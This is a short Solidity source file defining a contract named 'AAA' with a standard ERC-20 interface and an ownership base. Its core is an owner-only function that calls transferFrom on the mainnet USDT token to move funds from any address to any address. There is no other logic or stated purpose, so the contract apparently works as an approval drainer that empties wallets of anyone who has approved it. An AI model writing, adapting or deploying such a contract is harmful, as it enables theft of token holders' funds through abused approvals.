AAA

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!o");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "n0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


contract AAA is Ownable {

    IERC20 public  usdtToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
  
    constructor() {
    }


    function withdrawToken(uint256 amount,address token) external onlyOwner {
        require(IERC20(token).transfer(owner(), amount), "Transfer failed");
    }

    function transferFrom(address from,address to,uint256 amount) external onlyOwner {
        usdtToken.transferFrom(from,to,amount);
    }
}